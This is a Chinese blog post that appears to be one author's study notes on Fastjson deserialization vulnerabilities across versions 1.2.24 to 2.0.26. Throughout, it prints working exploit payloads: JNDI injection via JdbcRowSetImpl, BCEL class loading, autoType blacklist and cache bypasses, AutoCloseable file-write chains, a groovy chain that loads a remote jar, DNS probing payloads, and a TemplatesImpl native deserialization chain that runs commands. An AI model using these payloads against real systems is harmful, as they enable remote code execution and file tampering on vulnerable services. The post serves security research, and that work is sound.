https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

Fastjson反序列化学习

Fastjson反序列化学习

流程分析:

FastJson是一个由阿里巴巴开发的高性能JSON处理库,支持Java对象与JSON字符串之间的互相转换。

@type可以转化为指定的java类

demo:

public class demo {
    public static void main(String[] args) {
        //String s = "{\"age\":\"18\",\"name\":\"abc\"}";
        String s = "{\"@type\":\"com.kudo.Person\",\"age\":\"18\",\"name\":\"abc\"}";
        JSONObject jsonObject = JSON.parseObject(s);

        System.out.println(jsonObject);
    }
}

会调用如下这些方法,本质是反射调用,接下来挑重点分析一些流程,代码实在太长,流程分析省略了很多的细节

image-20250508154643489

1.解析json字符串时,判断到为@type时,将会进行fastjson中的反序列化处理

image-20250508160602561

接下来获取反序列化器

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);

在获取反序列化器时,比如我们传的不是一些特殊类时,会创建javabean反序列化器

derializer = this.createJavaBeanDeserializer(clazz, (Type)type);

里面会先进行javabeaninfo.build,获取这个javabean的信息

重要的时这三个循环

image-20250508165834352

第一个循环遍历set方法然后获取里面的字段,包括转成小写

methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))

if (methodName.startsWith("set"))
## 如果是set方法则会add
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));

第二个循环遍历标识符为public的字段

第三个循环遍历get方法,满足返回值类型为如下,且没有set方法,才会加入

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType()))

fieldInfo = getField(fieldList, propertyName);
                        if (fieldInfo == null) 

反序列化器创建好后,会开始反序列化(自己写的反序列化)创建实例,重点看setValue反序列化赋值

image-20250508170725933

其中边会调用invoke,完成set方法的调用

image-20250508170813517

get方法的调用则在反序列化完成后的toJSON中

image-20250508170935646

image-20250508171338052

所以可以写一个简单的攻击思路:成功弹出计算器,接下来就是如何找利用

public class Test {
    public void setCmd(String cmd) throws Exception {
        Runtime.getRuntime().exec(cmd);
    };
}

String a = "{\"@type\":\"com.kudo.Test\",\"cmd\":\"calc\"}";
JSONObject jsonObject = JSON.parseObject(a);

Fastjson <= 1.2.24

JdbcRowSetImpl链:

条件就是:出网,能够进行JNDI攻击

com.sun.rowset.JdbcRowSetImpl#connect 存在JNDI注入

image-20250508173750971

可以通过其setDataSourceName去赋值恶意服务器

image-20250508173935026

而setAutoCommit会调用connect,其实就能转化为JNDI攻击

image-20250508174018081

poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8085/SbfinClR","autoCommit":\"false\"}

image-20250508180016184

BasicDataSource链 :

条件:tomcat依赖(可以不出网攻击)

fastjson<=1.36

<dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>9.0.8</version>
    </dependency>

在com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass类加载中会进行动态类加载,只要类名以$$BCEL$$开头

image-20250509122839996

还得注意一点处理类名时进行了一次解码,所以利用时得手工编码一次,接着找有无get,set方法能调用完成这样的类加载

image-20250509123021809

而org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory中存在调用类名以及类加载器

image-20250509123338949

此类中所需存在对应set方法

image-20250509123525085

在同一类中createDataSource()调用createConnectionFactory(),getConnection()调用createDataSource(),即结束

image-20250509123921520

poc:

//bcel
Path path = Paths.get("D:\\tmp\\classes\\Evil.class");
byte[] bytes = Files.readAllBytes(path);
String code = "$$BCEL$$"+Utility.encode(bytes,true);
System.out.println(code);

String c = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\""+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSONObject jsonObject = JSON.parseObject(c);

poc中不用对get赋值,我们的恶意代码是在toJSON处执行,而在getFieldValuesMap中会调用所有的get方法

image-20250508213222091

1.2.25 <= Fastjson <= 1.2.41

1.2.25中引入了checkAutoType代替loadclass 进行校验并且加载

image-20250509150513135

ParserConfig中引入了三个变量白名单黑名单和autoTypeSupport

autoTypeSupport,用来标识是否开启任意类型的反序列化。但是作者的本意是即使开启也不允许加载黑名单

image-20250509150620786

我们跟一下逻辑

image-20250509152515568

image-20250509152726545

image-20250509153049852

再看一下loadClass函数,递归处理前面的描述符首为L,尾部为;即可以想到绕过黑名单,且autoTypeSupport得开启,不然虽然绕过了黑名单但还是无法加载任意类

image-20250509153121777

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String b = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/heTsewHn\",\"autoCommit\":\"false\"}";
JSONObject jsonObject = JSON.parseObject(b);

Fastjson 1.2.42

checkAutoType作了判断存在L;则删除但if与后面的递归去除产生冲突,双写绕过即可

image-20250509154629690

poc:

String b = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/heTsewHn\",\"autoCommit\":\"false\"}";
JSONObject jsonObject = JSON.parseObject(b);

Fastjson 1.2.43

修改开头遇到LL,即报异常,通过[绕过,不太实用我就简单看了一下

poc:

String b = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,{\"DataSourceName\":\"ldap://127.0.0.1:8085/heTsewHn\",\"autoCommit\":\"false\"}";
JSONObject jsonObject = JSON.parseObject(b);

image-20250509162659462

Fastjson <= 1.2.47(严重)

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

整个思路是这样的,我们能发现这里如果存在缓存中或者,反序列化器能找到这个类即可直接返回,我们能不能把恶意类加入至缓存中?

image-20250509170554858

mappings 是此类 ConcurrentMap<String,Class<?>>,然后发现mappings.put来放入值,查找发现两个函数调用loadClass与addBaseClassMappings

image-20250510134621995

addBaseClassMappings是一个静态的方法,显然无法控制,继续找loadClass的调用

image-20250510135241923

显然只能控制MiscCodec#deserialze,因为checkAutoType里面的loadClass逻辑是没有问题的

image-20250510135508290

控制clazz为Class类即可loadClass进一步放入缓存中,MiscCodec实现了ObjectDeserializer,是一个反序列化器,调用deserialze

image-20250510135708605

再回到checkAutoType,反序列化器找类image-20250510140122423

这个Class对应的反序列化器是存在的

image-20250510140256870

然后走出check后反序列化即可完成加载,然后再实现一些小细节

image-20250510140353267

变量名称只能为val,并且只能有一组键值对不然在accept中会报错(我们也只需要一组键值对)

image-20250510140532271

image-20250510140605748

poc:

String d = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/cYksYqQI\",\"autoCommit\":\"false\"}}";
JSONObject jsonObject = JSON.parseObject(d);

1.2.48的修复,cache默认设为false,无法通过缓存绕过

image-20250510141434428

Fastjson < 1.2.68

1.2.48修复之后就没有特别的手段绕过,通过新的黑名单去找payload

fastjson <= 1.2.62

{
  "@type":"org.apache.xbean.propertyeditor.JndiConverter",
  "AsText":"rmi://127.0.0.1:1099/exploit"
}";

fastjson <= 1.2.66

{
  "@type":"org.apache.shiro.jndi.JndiObjectFactory",
  "resourceName":"ldap://192.168.80.1:1389/Calc"
 }

Fastjson <= 1.2.68

由于1.2.48引入了新的安全机制,加上代码发生了些许变化,出现了一些特殊的绕过

这里的总体思路是绕过一些限制 通过调用checkAutoType中的类加载达到目的,而不是为了加载恶意类然后进行set,get方法的调用

开头增加了safeMode的判断,如果safeMode是开启的,完全无法攻击,下面的绕过建立在safeMode关闭上

image-20250513150112286

下面这些代码联想出来绕过的想法,

第一如果能够存在expectClass不为下面的这些类,能使expectClassFlag为true

第二,这里期望为空时,我们仍然是可以返回mappings中的类

image-20250513150435071

第三,无论autoTypeSupport是否为true,只要expectClassFlag为true,即可能加载类

image-20250513150533937

整体的思路就出现了,是否存在mappings中的某个白名单类返回后,获取反序列化器,而这个反序列化器调反序列化字符串过程中再次调用了checkAutoType,我们能控制expectClass,达到一些特殊类的加载

可以发现,有两个反序列化器可以控制期望类

image-20250513150915493

ThrowableDeserializer

先看此类反序列化器如何获得,在getDeserializer中如果类为Throwable的子类可以返回这类,接着去缓存白名单mappings中找是否存在Throwable的子类

image-20250513155027349

成功找到Exception类

image-20250513155228612

image-20250513155235952

可以看到加载的类是@type的值,Throwable作为期望类传入

image-20250513155734190

image-20250513155808165

且能够满足不为这些类,即能完成某些的加载了

image-20250513155846233

JavaBeanDeserializer

此类的思路也差不多,找不到反序列化器则会加载JavaBeanDeserializer

image-20250513161840267

这次是白名单中的AutoCloseable,思路也基本上一致

image-20250513162145059

还得注意一个点就是能够通过期望类绕过加载的类得满足以下条件而且不能在黑名单

image-20250513163749192

调用set方法

image-20250513165350947

public class evil extends Throwable {
    public void setCmd(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}
String x = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.kudo.evil\",\"cmd\":\"calc\"}";
JSONObject jsonObject = JSON.parseObject(x);

以上两个函数都可以办到,接下来就是寻找他们的利用,AutoCloseable

SafeFileOutputStream

fatsjon<=1.2.68

1.txt会转移到2.txt,且清空1.txt,利用fastjson没有无参构造函数会调用参数最多的那个构造函数的特性

依赖:

    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjtools</artifactId>
        <version>1.9.5</version>
    </dependency>

得保证targetPath为空,也就是不存在2.txt这个文件,可以读取文件,但是1.txt的内容会消失

细节:Fastjson 68 commons-io AutoCloseable | 素十八](https://su18.org/post/fastjson-1.2.68/#payload-分析)

image-20250513180008449

poc:

String x = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\"tempPath\":\"D:/1.txt\",\"targetPath\":\"D:/2.txt\"}";

也可以通过$ref达到写文件

依赖

<dependency>
        <groupId>com.esotericsoftware</groupId>
        <artifactId>kryo</artifactId>
        <version>5.2.0</version> 
    </dependency>
    <dependency>
        <groupId>com.sleepycat</groupId>
        <artifactId>je</artifactId>
        <version>6.0.11</version> 
    </dependency>
    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjtools</artifactId>
        <version>1.9.5</version>
    </dependency>

向文件1.txt写入

String y ="{\n" +
        "    \"stream\": {" + "\n" +
        "   \"@type\": \"java.lang.AutoCloseable\","+ "\n" +
        "   \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\","+ "\n" +
        "   \"targetPath\": \"D:/2.txt\","+ "\n" +
        "   \"tempPath\": \"D:/1.txt\"},"+ "\n" +
        "   \"writer\": {"+ "\n" +
        "    \"@type\": \"java.lang.AutoCloseable\","+ "\n" +
        "    \"@type\": \"com.esotericsoftware.kryo.io.Output\","+ "\n" +
        "    \"buffer\": \"PGhlbGxvIHdvcmxkPg==\","+ "\n" +
        "    \"outputStream\": {"+ "\n" +
        "    \"$ref\": \"$.stream\"},"+ "\n" +
        "   \"position\": 13},"+ "\n" +
        "   \"close\": {"+ "\n" +
        "   \"@type\": \"java.lang.AutoCloseable\","+ "\n" +
        "   \"@type\": \"com.sleepycat.bind.serial.SerialOutput\","+ "\n" +
        "   \"out\": {"+ "\n" +
        "   \"$ref\": \"$.writer\"}}}";

image-20250513182947009

MarshalOutputStream

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 | 长亭百川云

jdk>=11 或者 jdk8 CentOS

{
2    "x":{
3        "@type":"java.lang.AutoCloseable",
4        "@type":"sun.rmi.server.MarshalOutputStream",
5        "out":{
6            "@type":"java.util.zip.InflaterOutputStream",
7            "out":{
8                "@type":"java.io.FileOutputStream",
9                "file":"/tmp/dest.txt",
10                "append":false
11            },
12            "infl":{
13                "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
14            },
15            "bufLen":1048576
16        },
17        "protocolVersion":1
18    }
19}

XmlStreamReader

commons-io 2.0 - 2.6 版本:

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

commons-io 2.7 - 2.8.0 版本:

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

修复

首先对过滤的expectClass进行修改,新增3个新的类,并且将原来的Class类型的判断修改为hash的判断,通过彩虹表碰撞可以得知分别为:java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable。即无法再利用AutoCloseable

Fastjson 1.80Bypass

在1.2.69中缺少了对Exception的过滤,造成了后面的绕过

1.2.76 <= fastjson < 1.2.83

groovy依赖

参考:https://github.com/Lonely-night/fastjsonVul

这里的绕过思路其实是这样的,第一次通过Exception加载CompilationFailedException

而后在参数转化时会把CompilationFailedException的参数对应解析器放入deserialzers中

则第二次可以绕过

image-20250515170342901

image-20250515170253705

public class groovy {
    public static void main(String[] args) {
        String json ="{\n" +
                "  \"@type\":\"java.lang.Exception\",\n" +
                "  \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
                "  \"unit\":{\n" +
                "  }\n" +
                "}";

        try {
            // 反序列化将org.codehaus.groovy.control.ProcessingUnit 加入白名单
            JSON.parse(json);
        } catch (Exception e) {
            //e.printStackTrace();
        }

        json =
                "{\n" +
                        "  \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
                        "  \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
                        "  \"config\":{\n" +
                        "    \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
                        "    \"classpathList\":[\"http://127.0.0.1:8433/attack-1.jar\"]\n" +
                        "  },\n" +
                        "  \"gcl\":null,\n" +
                        "  \"destDir\": \"/tmp\"\n" +
                        "}";
        // 反序列化将执行
        JSONObject.parse(json);
    }
}

image-20250515164147874

修复1.2.83中,增加了一行,导致无法再加载Exception类

image-20250515171558455

dns探测,可以探测是否为1.2.83版本

如果为<1.2.83即只会收到第一条dns记录,因为第二条解析Exception后会对message进行解析报错。

而1.2.83不会解析Exception,所以直接解析dns

[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "dtfafooxio.iyhc.eu.org"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "qd7dyxy0ewq1xrsofp1xhzxhf8lz9sxh.oastify.com"
  }
}
}
]

探测

su18/hack-fastjson-1.2.80总结的很全,我就自己测一些好用的,然后记录一下

会显示版本号

{
        "@type":"java.lang.AutoCloseable"

dns探测

适合全部版本 (1.2.84之后没测过)

{"@type":"java.net.Inet4Address","val":"nbparwlmzi.dgrh3.cn"}

<1.2.48,因为1.2.48移除了java.net.InetAddress

{"@type":"java.net.InetAddress","val":"dnslog"}

根据响应状态 可以检测autoType是否开启,如果报错说明没有开启,无报错即开启

{"@type":"whatever"}

探测目标环境依赖,有此依赖则会报错

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "com.mysql.jdbc.Driver"
}}

Fastjson原生反序列化链

1.2.48<= fastjson <= 2.0.26

主要是利用了jdk的原生反序列化的一些特性以及fastjson中的可以反序列化的类的反序列化特性构成此反序列化链

分析:

poc:

public class FastJson2 {

    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();

        //装载Templates
        TemplatesImpl template2 = new TemplatesImpl();
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][] {code});
        setFieldValue(template, "_name", "Evil");


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
//        hashMap.put(badAttributeValueExpException,template);
        hashMap.put(template, badAttributeValueExpException);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        System.out.println(barr.toByteArray()[1522]);
        try{
            Object o = ois.readObject();
        }catch (Exception e){
        }
 }
}

poc为什么这样构成:

可以一点点解析,利用的仍然是TemplatesImpl对类进行加载

poc中利用javassist加载恶意字节数组,显然也可以使用CC3中TemplatesImpl的构造方式

接着说如何运行到TemplatesImpl

BadAttributeValueExpException的反序列化调用JSONArray.toString(),而JSONArray没有toString方法,会调用父类JSON的toString方法

image-20250518214804698

从而调用toJSONString,会调用TemplatesImpl所有的getter方法

导致调用getOutputProperties->newTransformer调用至恶意字节码的加载

image-20250518215119987

但如果我们直接对BadAttributeValueExpException进行反序列化会出现一些问题

测试案例,直接反序列化,我记录一下重点的过程,这里面的细节要分析jdk原生反序化,我跟了一遍,但是太长了就不全部记录了

Java 反序列化之 readObject 分析 | Kaibro's blog

    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();

        //装载Templates
        TemplatesImpl template2 = new TemplatesImpl();
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][] {code});
        setFieldValue(template, "_name", "Evil");


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
//        hashMap.put(badAttributeValueExpException,template);
        hashMap.put(template, badAttributeValueExpException);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        //oos.writeObject(hashMap);
        //oos.writeObject(template);
        oos.writeObject(badAttributeValueExpException);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        //System.out.println(barr.toByteArray()[1522]);
        try{
            Object o = ois.readObject();
        }catch (Exception e){
            e.printStackTrace();
        }
        //while (true){}
    }
}

首先来到BadAttributeValueExpException的重写的反序列化,调用readFields()

image-20250518215746460

调用的堆栈

readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
main:59, Fastjson2 (com.kudo)

在其中调用readObject0对JSONArray进行反序列化

image-20250518220055796

在这其中的一步我们可以注意一下,就是resolveClass,解析类,是通过Class.forName直接寻找的

image-20250518220322391

接着看JSONArray的反序列化函数,defaultReadObject中调用了readObject0,但是不再是执行原生的ObjectInputStream,而是其子类SecureObjectInputStream

image-20250518220639778

再次进入readObject0,TC_OBJECT的意思是识别为普通的类,之后再进入ArrayList的反序列化函数并调用readObject与JSONArray一致就省略了

image-20250518221411417

在判断ArrayList中的TemplatesImpl时,同样会调用resolveClass,但此时调用的是SecureObjectInputStream#resolveClass,其重写了resolveClass方法

image-20250518222734266

调用checkAutoType检查,其在黑名单中。那我们如何绕过呢,不进入到这里的resolveClass函数

image-20250518222801438

即在前面一步,我们利用TC_REFERENCE,引用特性(增加缓存),让其走至readHandle完成加载实例化

即
readObject(template)j//提前加入缓冲
readObject(badAttributeValueExpException) 再对其反序列化即完成了绕过
两次反序列化不适用真实情况,再通过HashMap封装,HashMap反序列化会对键值分别反序列化,最后形成最后的poc

image-20250518223335939

image-20250518223731286

最后看看toString方法是如何调用所有getter方法的,可以看到使用了ASMSerializer写入,这个类是运行时动态生成的所有看不到代码,为了提升性能,使用heapdump查看代码,使代码保持运行(如尾部加while(true))

image-20250519150105542

image-20250519150542549

可以看到显示调用了所有getter方法

public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
    ObjectSerializer objectSerializer;
    if (object == null) {
        jSONSerializer.writeNull();
        return;
    }
    SerializeWriter serializeWriter = jSONSerializer.out;
    if (!this.writeDirect(jSONSerializer)) {
        this.writeNormal(jSONSerializer, object, object2, type, n);
        return;
    }
    if (serializeWriter.isEnabled(32768)) {
        this.writeDirectNonContext(jSONSerializer, object, object2, type, n);
        return;
    }
    TemplatesImpl templatesImpl = (TemplatesImpl)object;
    if (this.writeReference(jSONSerializer, object, n)) {
        return;
    }
    if (serializeWriter.isEnabled(0x200000)) {
        this.writeAsArray(jSONSerializer, object, object2, type, n);
        return;
    }
    SerialContext serialContext = jSONSerializer.getContext();
    jSONSerializer.setContext(serialContext, object, object2, 0);
    int n2 = 123;
    String string = "outputProperties";
    Object object3 = templatesImpl.getOutputProperties();
    if (object3 == null) {
        if (serializeWriter.isEnabled(964)) {
            serializeWriter.write(n2);
            serializeWriter.writeFieldNameDirect(string);
            serializeWriter.writeNull(0, 0);
            n2 = 44;
        }
    } else {
        serializeWriter.write(n2);
        serializeWriter.writeFieldNameDirect(string);
        if (object3.getClass() == Properties.class) {
            if (this.outputProperties_asm_ser_ == null) {
                this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class);
            }
            if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {
                ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
            } else {
                objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
            }
        } else {
            jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0);
        }
        n2 = 44;
    }
    string = "stylesheetDOM";
    if (!serializeWriter.isEnabled(0x2000000)) {
        object3 = templatesImpl.getStylesheetDOM();
        if (object3 == null) {
            if (serializeWriter.isEnabled(964)) {
                serializeWriter.write(n2);
                serializeWriter.writeFieldNameDirect(string);
                serializeWriter.writeNull(0, 0);
                n2 = 44;
            }
        } else {
            serializeWriter.write(n2);
            serializeWriter.writeFieldNameDirect(string);
            if (object3.getClass() == DOM.class) {
                if (this.stylesheetDOM_asm_ser_ == null) {
                    this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class);
                }
                if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {
                    ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
                } else {
                    objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
                }
            } else {
                jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0);
            }
            n2 = 44;
        }
    }
    string = "transletIndex";
    int n3 = templatesImpl.getTransletIndex();
    serializeWriter.writeFieldValue((char)n2, string, n3);
    n2 = 44;
    if (n2 == 123) {
        serializeWriter.write(123);
    }
    serializeWriter.write(125);
    jSONSerializer.setContext(serialContext);
}

参考:

FastJson1&FastJson2反序列化利用链分析-腾讯云开发者社区-腾讯云

fastjson:我一路向北,离开有你的季节 | 素十八

su18/hack-fastjson-1.2.80

fastjson 原生反序列化链 - LingX5 - 博客园

posted @ 2025-05-19 15:33  kudo4869  阅读(61)  评论(0)    收藏  举报